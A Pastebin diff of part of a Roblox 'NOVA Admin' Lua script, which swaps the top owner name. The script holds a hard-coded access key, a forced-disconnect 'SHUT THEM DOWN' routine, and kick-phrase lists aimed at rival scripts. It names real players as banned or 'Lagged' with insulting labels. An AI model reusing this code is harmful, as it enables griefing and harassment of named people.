View difference between Paste ID: 8PHituPT and usAehPfE
SHOW: | | - or go back to the newest paste.
1
script.Name = "# NOVA Admin #"
2
wait()
3
script.Parent = Instance.new("Glue") -- Stuck!
4
NOVA ={
5
    BadPhrases = true;
6
    Bet = "/";
7
    Services = {
8
        Game = game;
9
        RunService = game:GetService("RunService");
10
        Workspace = game:GetService("Workspace");
11
        Lighting = game:GetService("Lighting");
12
        Debris = game:GetService("Debris");
13
        Players = game:GetService("Players");
14
        Teams = game:GetService("Teams");
15
        SoundService = game:GetService("SoundService");
16
        ScriptContext = game:GetService("ScriptContext");
17
        NetworkServer = game:GetService("NetworkServer");
18
        StarterGui = game:GetService("StarterGui");
19
        StarterPack = game:GetService("StarterPack");
20
    };
21
    Ranks = {
22
        {-2,"Lagged"}; -- -2
23
        {-1,"Banned"}; -- -1
24
        {-0.5,"Scum"};
25
        {0,"Guest"}; -- 0
26
        {1,"Mod"}; -- 1
27
        {2,"Admin"}; -- 2
28
        {3,"Developer"}; -- 3
29
        {4,"Omega Admin"}; -- 4
30
        {5,"Overlord"}; -- 5
31
        {6,"OP ( Operator )"}; -- 6
32
        {7,"Creator"}; -- 7
33
        {8,"ROOT"}; -- 8
34
    };
35
    Alphabet = {
36
    "a",    "b",    "c",    "d",    "e",    "f",    "g",    "h",    "i",    "j",    "k",    "l",    "m",    "n",    "o",    "p",    "q",    "r",    "s",    "t",    "u",    "v",    "w",    "x",    "y",    "z",    
37
    };
38
    Ranked = {
39-
        {Name = "Dylanbuil", Rank = 8, CMD = true, Color = Color3.new(1,1,0), Desc = "NOVA"};
39+
        {Name = "nightwizard", Rank = 8, CMD = true, Color = Color3.new(1,1,0), Desc = "NOVA"};
40
        {Name = "mastero67", Rank = 7, CMD = true, Color = Color3.new(0,0,1), Desc = "Fire"};
41
        {Name = "darkeageninja", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Banned"};
42
        {Name = "wubbzy301", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Banned"};
43
        {Name = "xXxArtistxXx", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Nub"};
44
        {Name = "mrein5", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "A low life Camball abuser"};
45
        {Name = "lxljohnlxlalt", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "TOTAL NUB WITH NO LIFE"};
46
 
47
    };    
48
    Credit = {
49
        {Name = "NetworkClient",Why = "for the tablet function."};
50
        {Name = string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")),Why = "for creating NOVA Admin."};
51
        {Name = "upquark",Why = "For being a great person in life."};
52
        {Name = "toshir0z",Why = "For teaching me time control."};
53
        {Name = "ask4kingbily",Why = "For showing me how to lock first person."};
54
    };
55
    Animations = {
56
        {Name = "Facepalm", Who = "Dylanbuil", Id = "372695cdb6a7540768234ad60ed7a298"};
57
    };
58
    Colors = {
59
        Red = Color3.new(1,0,0);
60
        PinkRed = Color3.new(1,0,0.15);
61
        Orange = Color3.new(1,0.5,0);
62
        Yellow = Color3.new(1,1,0);
63
        Green = Color3.new(0,1,0);
64
        Blue = Color3.new(0,0,1);
65
        LightBlue = Color3.new(0,1,1);
66
        Pink = Color3.new(1,0,1);
67
        Magenta = Color3.new(0.54,0,0.54);
68
        White = Color3.new(1,1,1);
69
        Grey = Color3.new(0.5,0.5,0.5);
70
        Black = Color3.new(0,0,0);
71
    };
72
    Sounds = {
73
        Sound = Instance.new("Sound");
74
        Numbers = { -- one to five ( top to bottom )
75
            "http://www.roblox.com/Asset/?id=29445305",
76
            "http://www.roblox.com/Asset/?id=29445339",
77
            "http://www.roblox.com/Asset/?id=29445358",
78
            "http://www.roblox.com/Asset/?id=29445378",
79
            "http://www.roblox.com/Asset/?id=29445395",
80
        };
81
        PlayAfter = {
82
            "http://www.roblox.com/Asset/?id=2767090",
83
            "http://www.roblox.com/Asset/?id=2800815",
84
            "http://www.roblox.com/Asset/?id=2801263",
85
            "http://www.roblox.com/Asset/?id=11984254",
86
            "http://www.roblox.com/Asset/?id=2101159",
87
            "http://www.roblox.com/Asset/?id=3087031",
88
            "http://www.roblox.com/Asset/?id=2101148",
89
            "http://www.roblox.com/Asset/?id=2233908",
90
            "http://www.roblox.com/Asset/?id=16976189",
91
            "http://www.roblox.com/Asset/?id=2101157",
92
            "http://www.roblox.com/Asset/?id=2974000",
93
            "http://www.roblox.com/Asset/?id=2703110",
94
            "http://www.roblox.com/Asset/?id=1994345",
95
        };
96
    };
97
    AncientRules = {
98
        "Thou shall not use forum scripts.",
99
        "Thou shall not use CamBall / CamSphere.",
100
        "Thou shall not use CBA.",
101
        "Thou shall not use RMDX's scripts.",
102
        "Thou shall not use antibans.",
103
        "Thou shall not abuse thou admin.",
104
        "Thou shall not steal scripts.",
105
        "Thou shall not trade scripts you didn't make.",
106
        "Thou shall not use gay scripts.",
107
        "Thou shall not abuse loopholes in the ancient rules.",
108
    };
109
    ChatFilters = {
110
        "mediafire",
111
        "shit",
112
        "gtfo",
113
        "password",
114
        "hitler",
115
        "vaginas",
116
    };
117
 
118
    KillingPhrases = {
119
        "ssj",
120
        "yolo",
121
        "swag",
122
    };
123
    KickingPhrases = {
124
             "\"/down\"",
125
        "/down",
126
        "/hide",
127
        "rpe/",
128
        "antiban",
129
        "ab/",
130
        "camball.",
131
        "camball.came",
132
        "camball/",
133
        "camball /","deadfield","1waffle1",
134
        "cie camball",
135
        "d33k/",
136
        "pban/",
137
        "your own camball",
138
        "created by jordan88282",
139
        "v2 camball",
140
        "cba = {}",
141
        "cba.bet",
142
        "banmenu","adminlist",
143
        "ban/t","ban/tu","ban/tus","ban/tusk","ban/tusko","ban/tuskor","ban/tuskor6","ban/tuskor66","ban/Dylanbuil",
144
        "cryston",
145
        "jordan88282", "eyeball","orb","kick/","owner","antikick",
146
   };
147
    PreviousDataKeys = {
148
        "Unlimited Gravity&accesskey=13785(G*&_version="..tostring(_VERSION),
149
    };
150
    LoadTime = {
151
        Start = tick(),
152
        Finish = tick(),
153
    };
154
    Fences = {};
155
    Jails = {};
156
    Objects = {};
157
    Commands = {};
158
    Tablets = {};
159
    Targeted = {};
160
    ExternalPlayersList = {};
161
    Waypoints = {};
162
    Log = {};
163
    LoggedScripts = {};
164
    PRI = false;
165
    LockedScripts = false;
166
    Removed = true;
167
    ShowChat = true;
168
    Canceled = false;
169
    Overrided = false;
170
    TimeChanged = false;
171
    TabletPositionRelative = false;
172
    AntiDLL = false;
173
    EnableGuests = true;
174
    UseGlobals = false;
175
    Overrider = nil;
176
    TabletRotation = 0;
177
    TabletRotationIncrease = 0.03;
178
    AccessKey = "13785(G*";
179
    Version = "6th Generation";
180
    DataKey = "Unlimited Gravity";
181
    PRIType = "Shutdown";
182
    LocalScript = script:FindFirstChild("PseudoLocalScript"); -- or NewLocal
183
    Script = script:FindFirstChild("PseudoScript"); -- or NewScript
184
    Plugins = script:GetChildren()
185
}
186
--[[ PLAYER PLUGINS ]]--
187
function UpdatePlayerPlugins()
188
    if NOVA.AntiDLL == true then PlayerPlugins = [==[
189
            script.Parent = nil
190
            LocalPlayer = game:GetService("Players").LocalPlayer
191
           
192
            game:GetService("Selection").SelectionChanged:connect(function()
193
                if LocalPlayer.Name ~= "Dylanbuil" and LocalPlayer.Name ~= "SurgenHack" and LocalPlayer.Name ~= "Player" then
194
                    LocalPlayer.Parent = nil
195
                    LocalPlayer.Parent = game:GetService("Players")
196
                end
197
            end)
198
            coroutine.resume(coroutine.create(function()
199
                while wait() do
200
                    if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==[") then
201
                        workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==["):Remove()
202
                        LocalPlayer.Parent = nil
203
                        LocalPlayer.Parent = game:GetService("Players")
204
                    end
205
                end
206
            end))
207
        ]==]
208
        else
209
            PlayerPlugins = [==[
210
            script.Parent = nil
211
            LocalPlayer = game:GetService("Players").LocalPlayer
212
       
213
            coroutine.resume(coroutine.create(function()
214
                while wait() do
215
                    if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==[") then
216
                        workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==["):Remove()
217
                        LocalPlayer.Parent = nil
218
                        LocalPlayer.Parent = game:GetService("Players")
219
                    end
220
                end
221
            end))
222
        ]==]
223
    end
224
end
225
function Color()
226
        local Choice = math.random(1, 5)
227
        if Choice == 1 then
228
                return "Institutional white"
229
        elseif Choice == 2 then
230
                return "White"
231
        elseif Choice == 3 then
232
                return "Really red"
233
        elseif Choice == 4 then
234
                return "New Yeller"
235
        elseif Choice == 5 then
236
                return "Black"
237
        end
238
end  
239
--[[ PSEUDO FUNCTIONS ]]--
240
function CreateLocalScript(Source, Parent)
241
    if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then
242
        newLocalScript(Source, Parent)
243
    elseif game.PlaceId == 23232804 then
244
        NewLocalScript(Source, Parent)
245
    elseif NOVA.LocalScript ~= nil then
246
        NS = NOVA.LocalScript:Clone()
247
        NS.Name = "LocalScript"
248
        pcall(function() NS:ClearAllChildren() end)
249
        NewSource = Instance.new("StringValue",NS)
250
        NewSource.Name = "Source"
251
        if game.PlaceId == 113456 or game.PlaceId == 49907749 or game.PlaceId == 56786 then
252
            NewSource.Name = "DSource"
253
        end
254
        NewSource.Value = Source
255
        NS.Parent = Parent
256
        NS.Disabled = false
257
    else
258
        print("[NOVA.CreateLocalScript] Localscript functionality not avalible here. ( PlaceId : "..game.PlaceId..")")
259
    end
260
end
261
 
262
function CreateScript(Source, Parent)
263
    if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then
264
        newScript(Source, Parent)
265
    elseif game.PlaceId == 23232804 then
266
        NewScript(Source, Parent)
267
    elseif NOVA.Script ~= nil then
268
        NS = NOVA.Script:Clone()
269
        NS.Name = "Script"
270
        pcall(function() NS:ClearAllChildren() end)
271
        NewSource = Instance.new("StringValue",NS)
272
        NewSource.Name = "Source"
273
        NewSource.Value = Source
274
        NS.Parent = Parent
275
        NS.Disabled = false
276
    else
277
        print("[NOVA.CreateScript] Script functionality not avalible here. ( PlaceId : "..game.PlaceId..")")
278
    end
279
end
280
 
281
function IsTargeted(Player)
282
    if type(Player) == "string" then
283
        for _,v in pairs(NOVA.Targeted) do
284
            if v.Name == Player then
285
                return true
286
            end
287
        end
288
    elseif type(Player) == "userdata" then
289
        for _,v in pairs(NOVA.Targeted) do
290
            if Player == v then
291
                return true
292
            end
293
        end
294
    else
295
        print("[NOVA.IsTargeted] An invalid argument type was used. ("..tostring(type(Player))..")")
296
    end
297
    return false
298
end
299
 
300
--[[ DATA PERSISTANCE ]]--
301
--[[ SYNC RANKS IN ]]--
302
function SyncRanksIn()
303
    for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
304
        SyncRankInSingular(v)
305
    end
306
end
307
--[[ SYNC RANK IN SINGULAR ]]--
308
function SyncRankInSingular(v)
309
    if type(v) ~= "userdata" then
310
        print("[NOVA.SyncRankInSingular] Argument 1 incorrect type.")
311
        return
312
    end
313
    coroutine.resume(coroutine.create(function()
314
        repeat wait() until v.DataReady == true
315
       
316
        if GetRankedTable(v) == nil then
317
            table.insert(NOVA.Ranked,{
318
                Name = v.Name,
319
                CMD = false,
320
                Rank = 0,
321
                Color = NOVA.Colors.Orange,
322
                Desc = "N/A",
323
                Complaints = Instance.new("Model"),
324
                Executeables = Instance.new("Model"),
325
            })
326
        end
327
       
328
        local PhysicalData = v:LoadInstance(NOVA.DataKey.."&accesskey="..NOVA.AccessKey.."&_version="..NOVA.Version)
329
        local Data = GetRankedTable(v)
330
       
331
        if PhysicalData == nil then
332
            Data.Name = v.Name
333
            Data.CMD = false
334
            Data.Rank = 0
335
            Data.Color = NOVA.Colors.Orange
336
            Data.Desc = "N/A"
337
            Data.Complaints = Instance.new("Model")
338
            Data.Executeables = Instance.new("Model")
339
        elseif PhysicalData ~= nil then
340
            pcall(function() Data.Name = v.Name end)
341
            pcall(function() Data.CMD = PhysicalData.CMD.Value end)
342
            pcall(function() Data.Rank = PhysicalData.RANK.Value end)
343
            pcall(function() Data.Color = PhysicalData.COLOR.Value end)
344
            pcall(function() Data.Desc = PhysicalData.DESCRIPTION.Value end)
345
            pcall(function() Data.Complaints = PhysicalData.COMPLAINTS:Clone() end)
346
            pcall(function() Data.Executeables = PhysicalData.EXECUTEABLES:Clone() end)
347
            if Data.CMD == nil then Data.CMD = false end
348
            if Data.Rank == nil then Data.Rank = 0 end
349
            if Data.Color == nil then Data.Color = NOVA.Colors.Orange end
350
            if Data.Desc == nil then Data.Desc = "N/A" end
351
            if Data.Complaints == nil then Data.Complaints = Instance.new("Model") end
352
            if Data.Executeables == nil then Data.Executeables = Instance.new("Model") end
353
        end
354
    end))
355
end
356
 
357
--[[ SYNC RANKS OUT ]]--
358
function SyncRanksOut()
359
    for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
360
        SyncRankOutSingular(v)
361
    end
362
end
363
 
364
--[[ SYNC RANK OUT SINGULAR ]]--
365
function SyncRankOutSingular(v)
366
    coroutine.resume(coroutine.create(function()
367
        repeat wait() until v.DataReady == true
368
        local RankData = GetRankedTable(v)
369
        if RankData == nil then print("[NOVA.SyncRankOutSingular] RankData is missing or nil.") return end
370
        local Data = Instance.new("Model")
371
        Data.Name = "PlayerData"
372
        local CMD = Instance.new("BoolValue",Data)
373
        CMD.Name = "CMD"
374
        CMD.Value = RankData.CMD
375
        local Rank = Instance.new("NumberValue",Data)
376
        Rank.Name = "RANK"
377
        Rank.Value = RankData.Rank
378
        local Color = Instance.new("Color3Value",Data)
379
        Color.Name = "COLOR"
380
        Color.Value = RankData.Color
381
        local Desc = Instance.new("StringValue",Data)
382
        Desc.Name = "DESCRIPTION"
383
        Desc.Value = RankData.Desc
384
        local Complaints = RankData.Complaints:Clone()
385
        Complaints.Name = "COMPLAINTS"
386
        local Executeables = RankData.Executeables:Clone()
387
        Executeables.Name = "EXECUTEABLES"
388
       
389
        v:SaveInstance(NOVA.DataKey.."&accesskey=lol4&_version="..NOVA.Version,Data)
390
        for _,v in pairs(NOVA.PreviousDataKeys) do
391
            v:SaveInstance(v,Data)
392
        end
393
    end))
394
end
395
 
396
--[[ PLAYER INTERFACE ]]--
397
function PlayerInterface(v,Speaker)
398
    RemoveTablets(Speaker)
399
    local Data = GetRankedTable(v)
400
    OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,Data.Color,Speaker)
401
    Output("Rank Name : "..GetRankName(v),Data.Color,Speaker)
402
    Output("Rank Number : "..Data.Rank,Data.Color,Speaker)
403
    Output("Account Age : "..v.AccountAge,Data.Color,Speaker)
404
    Output("User Id : "..v.userId,Data.Color,Speaker)
405
    Output("Desc : "..Data.Desc,Data.Color,Speaker)
406
    Output("CMD : "..tostring(Data.CMD),Data.Color,Speaker)
407
    Output("Color : "..tostring(Data.Color),Data.Color,Speaker)
408
        if GetRank(Speaker) > Data.Rank and GetRank(Speaker) >= 6 then
409
        Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil,
410
            function()
411
                Instance.new("StringValue",workspace).Name = "Disconnect : "..Data.Name.." Key : "..NOVA.AccessKey..""
412
 
413
            end
414
        )
415
    end
416
    if GetRank(Speaker) > Data.Rank or v == Speaker then
417
        Output("Set CMD",NOVA.Colors.Blue,Speaker,nil,
418
            function()
419
                RemoveTablets(Speaker)
420
                Output("True",NOVA.Colors.Green,Speaker,nil,
421
                    function()
422
                        Data.CMD = true
423
                        SyncRankOutSingular(v)
424
                        PlayerInterface(v,Speaker)
425
                    end
426
                )
427
                Output("False",NOVA.Colors.Red,Speaker,nil,
428
                    function()
429
                        Data.CMD = false
430
                        SyncRankOutSingular(v)
431
                        PlayerInterface(v,Speaker)
432
                    end
433
                )
434
                Output("Done",NOVA.Colors.Blue,Speaker,nil,
435
                    function()
436
                        PlayerInterface(v,Speaker)
437
                    end
438
                )
439
                Output("Dismiss",NOVA.Colors.Red,Speaker)
440
            end
441
        )
442
    end
443
    if GetRank(Speaker) > Data.Rank then
444
        Output("Set Rank",NOVA.Colors.Blue,Speaker,nil,
445
            function()
446
                RemoveTablets(Speaker)
447
                for i,v in pairs(NOVA.Ranks) do
448
                    if v[1] ~= 8 then
449
                        Output(v[1],Color3.new(i/10,i/10,i/10),Speaker,nil,
450
                            function()
451
                                RemoveTablets(Speaker)
452
                                Data.Rank = v[1]
453
                                SyncRankOutSingular(v)
454
                                PlayerInterface(v,Speaker)
455
                            end    
456
                        )
457
                    end
458
                end
459
                Output("Dismiss",NOVA.Colors.Red,Speaker)
460
                Output("Back",NOVA.Colors.Blue,Speaker,nil,
461
                    function()
462
                        PlayerInterface(v,Speaker)
463
                    end
464
                )
465
               
466
            end
467
        )
468
    end
469
    if GetRank(Speaker) > Data.Rank or v == Speaker then
470
        Output("Set Color",NOVA.Colors.Blue,Speaker,nil,
471
            function()
472
                RemoveTablets(Speaker)
473
                for i,Color in pairs(NOVA.Colors) do
474
                    Output(tostring(i),Color,Speaker,nil,
475
                        function()
476
                            Data.Color = Color
477
                            PlayerInterface(v,Speaker)
478
                            SyncRankOutSingular(v)
479
                        end
480
                    )
481
                   
482
                end
483
                Output("Back",NOVA.Colors.Blue,Speaker,nil,
484
                        function()
485
                            PlayerInterface(v,Speaker)
486
                        end
487
                    )
488
                Output("Dismiss",NOVA.Colors.Red,Speaker)
489
            end
490
        )
491
    end
492
    Output("#REDIRECT GetRanked",NOVA.Colors.Blue,Speaker,nil,
493
        function()
494
            RemoveTablets(Speaker)
495
            OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
496
        end
497
    )
498
    Output("#REDIRECT Nil",NOVA.Colors.Blue,Speaker,nil,
499
        function()
500
            RemoveTablets(Speaker)
501
            OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "nil",Speaker)
502
        end
503
    )
504
    Output("#REDIRECT Replicators",NOVA.Colors.Blue,Speaker,nil,
505
        function()
506
            RemoveTablets(Speaker)
507
            OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "replicators",Speaker)
508
        end
509
    )
510
    Output("#REDIRECT Players",NOVA.Colors.Blue,Speaker,nil,
511
        function()
512
            RemoveTablets(Speaker)
513
            OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "players",Speaker)
514
        end
515
    )
516
    Output("Dismiss",NOVA.Colors.Red,Speaker)
517
end
518
 
519
--[[ MAKE HINT ]]--
520
 
521
function makeHint(Text,Parent)
522
    coroutine.resume(coroutine.create(function()
523
        local M = Instance.new("Hint",Parent)
524
        for i = 1, string.len(Text) do
525
            M.Text = M.Text .. string.sub(Text, i, i)
526
            wait(math.random() * 0.1)
527
        end
528
        M.Text = M.Text .. ""
529
        for i = 1, math.random(2, 6) do
530
            M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_"
531
            wait(0.4)
532
            M.Text = string.sub(M.Text, 1, string.len(Text)) .. "  "
533
            wait(0.4)
534
        end
535
        M.Text = string.sub(M.Text, 1, string.len(Text))
536
        for i = 1, string.len(M.Text) do
537
            M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1)
538
            wait()
539
        end
540
                        M:Remove()
541
    end))
542
end
543
function makeMessage(Text,Parent)
544
    coroutine.resume(coroutine.create(function()
545
        local M = Instance.new("Message",Parent)
546
        for i = 1, string.len(Text) do
547
            M.Text = M.Text .. string.sub(Text, i, i)
548
            wait(math.random() * 0.1)
549
        end
550
        M.Text = M.Text .. ""
551
        for i = 1, math.random(2, 6) do
552
            M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_"
553
            wait(0.4)
554
            M.Text = string.sub(M.Text, 1, string.len(Text)) .. "  "
555
            wait(0.4)
556
        end
557
        M.Text = string.sub(M.Text, 1, string.len(Text))
558
        for i = 1, string.len(M.Text) do
559
            M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1)
560
            wait()
561
        end
562
        M:Remove()
563
    end))
564
end
565
 
566
--[[ EXPLORE ]]--
567
function Explore(Thing,Speaker)
568
    if Speaker == nil then
569
        print("[NOVA.Explore] Argument 1 missing or nil.")
570
        return
571
    end
572
    pcall(function()
573
        if Thing == game or Thing == nil then
574
            RemoveTablets(Speaker)
575
            for _,v in pairs(NOVA.Services) do
576
                Output(v.className,GetRankedTable(Speaker).Color,Speaker,nil,function() Explore(v,Speaker) end)
577
            end
578
            Output("Dismiss",NOVA.Colors.Red,Speaker)
579
        else
580
            if #Thing:children() == 0 then
581
                RemoveTablets(Speaker)
582
                Explore(Thing.Parent.Parent,Speaker)    
583
            else
584
                RemoveTablets(Speaker)
585
                for _,v in pairs(Thing:children()) do
586
                    Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
587
                        function()
588
                            RemoveTablets(Speaker)
589
                            Output("Name : "..v.Name,GetRankedTable(Speaker).Color,Speaker)
590
                            Output("Class Name : "..v.className,GetRankedTable(Speaker).Color,Speaker)
591
                            Output("Full Name : "..v:GetFullName(),GetRankedTable(Speaker).Color,Speaker)
592
                            Output("Remove",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:remove() end )
593
                            Output("Destroy",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:Destroy() end )
594
                            Output("Destroy ALL ( Name )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.Name == v.Name then Part:Destroy() end end) end v:Destroy() end )
595
                            Output("Destroy ALL ( className )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.className == v.className then Part:Destroy() end end) end v:Destroy() end )
596
                            Output("#STORE",NOVA.Colors.Yellow,Speaker,nil,function() v:Clone().Parent = NOVA.Services.Lighting end)
597
                            Output("#REDIRECT .Parent.Parent",NOVA.Colors.Blue,Speaker,nil,function() Explore(v.Parent.Parent,Speaker) end)
598
                            Output("#REDIRECT :GetChildren()",NOVA.Colors.Blue,Speaker,nil,function() Explore(v,Speaker) end)
599
                            Output("Dismiss",NOVA.Colors.Red,Speaker)
600
                        end
601
                    )
602
                end
603
                Output("Dismiss",NOVA.Colors.Red,Speaker)
604
            end
605
        end
606
    end)
607
end
608
 
609
--[[ CAPE ]]--
610
function Cape(v)
611
    local Mode = "None"
612
    local AngleX = 0
613
    pcall(function()
614
        v.Character.Swordpack:remove()
615
    end)
616
    pcall(function()    
617
        v.Character["NOVA Cape"]:remove()
618
    end)
619
 
620
    local Main = Instance.new("Model",v.Character)
621
    Main.Name = "NOVA Cape"
622
 
623
    pcall(function()
624
        v.Character.Swordpack:Remove()
625
    end)
626
 
627
    local Cape = Instance.new("Part", Main)
628
    Cape.Name = "Cape"
629
    Cape.Anchored = false
630
    Cape.Locked = true
631
    Cape.CanCollide = false
632
    Cape.formFactor = "Custom"
633
    Cape.Size = Vector3.new(2, 3.5, 0.2)
634
    Cape.BrickColor = BrickColor.new("Really black")
635
    Cape.TopSurface = 0
636
    Cape.BottomSurface = 0
637
    local Decal = Instance.new("Decal", Cape)
638
    Decal.Face = "Back"
639
    Decal.Texture = ""
640
    local CapeWeld = Instance.new("Weld", Cape)
641
    CapeWeld.Part0 = v.Character.Torso
642
    CapeWeld.Part1 = Cape
643
    CapeWeld.C0 = CFrame.new(0, 1, 0.5)
644
    CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0)
645
    v.Character.Humanoid.Running:connect(function(Speed)
646
        if Speed > 0 then
647
            Mode = "Running"
648
        else
649
            Mode = "None"
650
        end
651
    end)
652
    v.Character.Humanoid.Jumping:connect(function() Mode = "Jumping" end)
653
    coroutine.wrap(function()
654
        while Cape.Parent ~= nil and CapeWeld.Parent ~= nil do
655
            local UpSpeed = 2.5
656
            local DownSpeed = 5
657
            local TargetAngle = 5
658
            if Mode == "Running" then
659
                TargetAngle = 45 + math.random(0, 2500) / 100
660
            elseif Mode == "Jumping" then
661
                UpSpeed = 10
662
                DownSpeed = 10
663
                TargetAngle = (v.Character.Torso.Velocity.y < 3 and 160 or 45)
664
            end
665
            if math.abs(TargetAngle - AngleX) < (DownSpeed > UpSpeed and DownSpeed or UpSpeed) then AngleX = TargetAngle end
666
            if AngleX < TargetAngle then
667
                AngleX = AngleX + UpSpeed
668
            elseif AngleX > TargetAngle then
669
                AngleX = AngleX - DownSpeed
670
            end
671
            CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0) * CFrame.fromEulerAnglesXYZ(math.rad(AngleX), 0, 0, 0)
672
            wait()
673
        end
674
    end)()
675
 
676
    local LShoulder = Instance.new("Part",Main)
677
    LShoulder.Name = "Left Shoulder"
678
    LShoulder.TopSurface = "Smooth"
679
    LShoulder.BottomSurface = "Smooth"
680
    LShoulder.FormFactor = "Custom"
681
    LShoulder.Size = Vector3.new(1,0.2,1)
682
    LShoulder.BrickColor = BrickColor.new("Really black")
683
    LShoulder.Anchored = false
684
    LShoulder.Locked = true
685
    LShoulder.CanCollide = false
686
    LShoulder.Transparency = 0
687
    LShoulder.Reflectance = 0
688
    local Weld = Instance.new("Motor6D",LShoulder)
689
    Weld.Part0 = LShoulder
690
    Weld.Part1 = v.Character["Left Arm"]
691
    Weld.C0 = CFrame.new(0,-1,0)
692
 
693
    local RShoulder = Instance.new("Part",Main)
694
    RShoulder.Name = "Right Shoulder"
695
    RShoulder.TopSurface = "Smooth"
696
    RShoulder.BottomSurface = "Smooth"
697
    RShoulder.FormFactor = "Custom"
698
    RShoulder.Size = Vector3.new(1,0.2,1)
699
    RShoulder.BrickColor = BrickColor.new("Really black")
700
    RShoulder.Anchored = false
701
    RShoulder.Locked = true
702
    RShoulder.CanCollide = false
703
    RShoulder.Transparency = 0
704
    RShoulder.Reflectance = 0
705
    local Weld = Instance.new("Motor6D",RShoulder)
706
    Weld.Part0 = RShoulder
707
    Weld.Part1 = v.Character["Right Arm"]
708
    Weld.C0 = CFrame.new(0,-1,0)
709
 
710
    local NeckFlat = Instance.new("Part",Main)
711
    NeckFlat.Name = "NeckFlat"
712
    NeckFlat.TopSurface = "Smooth"
713
    NeckFlat.BottomSurface = "Smooth"
714
    NeckFlat.FormFactor = "Custom"
715
    NeckFlat.Size = Vector3.new(2,0.2,1)
716
    NeckFlat.BrickColor = BrickColor.new("Really black")
717
    NeckFlat.Anchored = false
718
    NeckFlat.Locked = true
719
    NeckFlat.CanCollide = false
720
    NeckFlat.Transparency = 0
721
    NeckFlat.Reflectance = 0
722
    local Weld = Instance.new("Motor6D",NeckFlat)
723
    Weld.Part0 = NeckFlat
724
    Weld.Part1 = v.Character.Torso
725
    Weld.C0 = CFrame.new(0,-1,0)
726
 
727
    for _,v in pairs(Main:GetChildren()) do v.Reflectance = 1e+999 end
728
 
729
end
730
 
731
--[[ GET SPLIT ]]--
732
function GetSplit(Msg)
733
    Split = nil
734
    for i=1,100 do
735
        if string.sub(Msg,i,i) == NOVA.Bet then
736
            Split = i
737
            break
738
        end
739
    end
740
    return Split
741
end
742
 
743
--[[ GET RANK ]]--
744
 
745
function GetRank(Player)
746
    Rtn = nil
747
    if Player == "Server" or Player == "Self" or Player == "God" or Player == "NOVA" or Player == "ROOT" then
748
        return 8
749
    end
750
    if type(Player) == "userdata" then
751
        for _,v in pairs(NOVA.Ranked) do
752
            if v.Name:lower() == Player.Name:lower() then
753
                Rtn = v.Rank
754
            end
755
        end
756
    elseif type(Player) == "string" then
757
        for _,v in pairs(NOVA.Ranked) do
758
            if v.Name:lower() == Player:lower() then
759
                Rtn = v.Rank
760
            end
761
        end
762
    else print("[NOVA.GetRank] Unsupported argument type. ("..type(Player)..")")
763
    end
764
    return    Rtn
765
end
766
 
767
--[[ GET RANK NAME ]]--
768
function GetRankName(Player)
769
    if type(Player) == "userdata" or type(Player) == "string" then
770
        Rtn = nil
771
        Rank = GetRank(Player)
772
        for _,v in pairs(NOVA.Ranks) do
773
            if v[1] == Rank then
774
                Rtn = v[2]
775
            end
776
        end
777
        return Rtn
778
    else
779
        print("[NOVA.GetRankName] Unsupported argument type ("..type(Player)..")")
780
        return "NOT AVALIBLE"
781
    end
782
end
783
 
784
--[[ GET RANKED TABLE ]]--
785
function GetRankedTable(Player)
786
    Rtn = nil
787
    if type(Player) == "userdata" then
788
        for _,v in pairs(NOVA.Ranked) do
789
            if v.Name == Player.Name then
790
                Rtn = v
791
            end
792
        end
793
    elseif type(Player) == "string" then
794
        for _,v in pairs(NOVA.Ranked) do
795
            if v.Name == Player then
796
                Rtn = v
797
            end
798
        end
799
    else
800
        print("[NOVA.GetRankedTable] Unsupported argument type.("..type(Player)..")")
801
    end
802
    return Rtn
803
end
804
 
805
--[[ GET RECURSIVE CHILDREN ]]--
806
function GetRecursiveChildren(Source, Name, SearchType, Children)
807
    if Source == nil then
808
        Source = NOVA.Services
809
    end
810
    if Name == nil or type(Name) ~= "string" then
811
        Name = ""
812
    end
813
    if Children == nil or type(Children) ~= "table" then
814
        Children = {}
815
    end
816
    if type(Source) == "userdata" then
817
        pcall(function()
818
            for _, Child in pairs(Source:children()) do
819
                pcall(function()
820
                    if (function()
821
                        if SearchType == nil or SearchType == 1 then
822
                            return string.match(Child.Name:lower(), Name:lower())
823
                        elseif SearchType == 2 then
824
                            return string.match(Child.className:lower(), Name:lower())
825
                        elseif SearchType == 3 then
826
